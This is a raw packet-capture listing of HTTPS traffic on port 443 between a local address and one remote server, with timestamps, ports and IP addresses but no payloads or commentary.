Nov 23, 2024 21:59:19.776669979 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.776683092 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.776771069 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.776771069 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.800980091 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.801002979 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.801112890 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.801135063 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.801156044 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.801189899 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.832389116 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.832411051 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.832508087 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.832520962 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.832525969 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.832541943 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.832634926 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.832637072 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.832637072 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.832647085 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.832707882 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.841521978 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.841629028 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.841636896 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.841730118 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.854569912 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.854584932 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.854698896 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.854707956 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.854768991 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.872009039 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.872175932 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.872184038 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.872231007 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.872293949 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.872313023 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.872425079 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.872447014 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.872523069 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.889544964 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.889653921 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.889664888 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.889708996 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.904058933 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.904126883 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.904160023 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.904169083 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.904233932 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.904583931 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.904666901 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.904674053 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.904778957 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.934708118 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.934784889 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.934811115 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.934829950 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.934895039 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.934926033 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.950184107 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.950206995 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.950329065 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.950345039 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.950412035 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.954758883 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.954777002 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.954858065 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.954865932 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.954916954 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.986187935 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.986217022 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.986346960 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.986357927 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.986423969 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.986423969 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.999171972 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.999213934 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.999263048 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.999284029 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:19.999345064 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:19.999345064 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.012722015 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.012742043 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.012944937 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.012954950 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.013019085 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.013788939 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.013813972 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.013880014 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.013895035 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.013942957 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.013983965 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.029587984 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.029608965 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.029666901 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.029679060 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.029731035 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.034435987 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.034452915 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.034544945 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.034554958 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.034605980 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.041959047 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.041976929 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.042059898 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.042073011 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.042139053 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.042732000 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.042818069 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.042825937 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.042915106 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.052782059 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.052798033 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.052917957 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.052930117 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.052975893 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.054011106 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.054100990 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.054106951 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.054148912 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.063575029 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.063591957 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.063672066 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.063682079 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.063740969 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.070321083 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.070414066 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.070427895 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.070523024 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.080059052 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.080108881 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.080303907 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.080317974 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.080369949 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.082753897 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.082851887 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.082859039 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.082920074 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.095069885 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.095159054 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.095165968 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.095257998 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.111414909 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.111515045 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.111521959 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.111603975 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.113481045 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.113543034 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.113576889 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.113596916 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.113634109 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.113662004 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.123687029 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.123769045 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.123775959 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.123891115 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.130423069 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.130467892 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.130516052 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.130527020 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.130589962 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.134682894 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.134728909 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.134783030 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.134799004 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.134902954 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.135927916 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.136013031 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.136019945 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.136080027 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.147262096 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.147350073 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.147357941 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.147387981 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.147428989 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.147454977 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.151388884 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.151408911 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.151539087 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.151539087 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.151555061 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.151617050 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.161834002 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.161864996 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.161922932 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.161936998 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.161993027 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.162035942 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.167846918 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.167865038 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.167944908 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.167956114 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.168006897 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.168025017 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.179971933 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.180018902 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.180059910 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.180069923 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.180134058 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.183346987 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.183363914 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.183459997 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.183471918 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.183546066 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.192811012 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.192831039 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.192909956 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.192925930 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.192972898 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.196758986 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.196779966 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.196891069 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.196899891 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.197015047 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.201313019 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.201334000 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.201425076 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.201433897 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.201479912 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.210608959 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.210623980 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.210777998 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.210788012 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.210829973 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.213237047 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.213254929 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.213354111 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.213363886 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.213445902 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.218647957 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.218664885 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.218729973 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.218740940 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.218791962 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.226545095 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.226564884 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.226702929 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.226702929 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.226713896 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.226782084 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.227943897 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.227961063 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.228024006 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.228034019 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.228071928 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.236674070 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.236691952 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.236764908 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.236778021 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.236819983 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.245759010 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.245776892 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.245835066 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.245846033 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.245903969 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.254973888 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.255120993 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.255137920 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.255146980 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.255153894 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.255217075 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.255224943 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.255302906 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.255367041 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.264389038 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.264497042 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.264503956 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.264574051 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.273633957 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.273714066 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.273731947 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.273782015 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.285383940 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.285520077 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.285526991 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.285603046 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.290617943 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.290685892 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.290726900 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.290738106 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.290807962 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.294320107 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.294414043 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.294420958 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.294540882 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.303261995 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.303347111 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.303354025 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.303412914 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.315177917 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.315274954 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.315280914 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.315330982 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.317672014 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.317739964 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.317768097 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.317779064 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.317837954 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.324068069 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.324215889 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.324223042 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.324274063 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.324903011 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.324929953 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.325006962 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.325021982 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.325097084 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.325098038 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.331056118 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.331104040 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.331168890 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.331176996 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.331255913 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.332758904 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.332845926 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.332851887 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.332926035 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.336127043 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.336143017 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.336244106 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.336256027 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.336340904 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.343091011 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.343203068 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.343209982 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.343265057 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.344338894 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.344389915 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.344422102 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.344440937 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.344480038 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.344525099 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.346997023 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.347016096 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.347084045 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.347095966 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.347217083 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.354799032 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.354881048 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:20.354887962 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:20.354937077 CET	49732	443	192.168.2.6	150.171.27.10
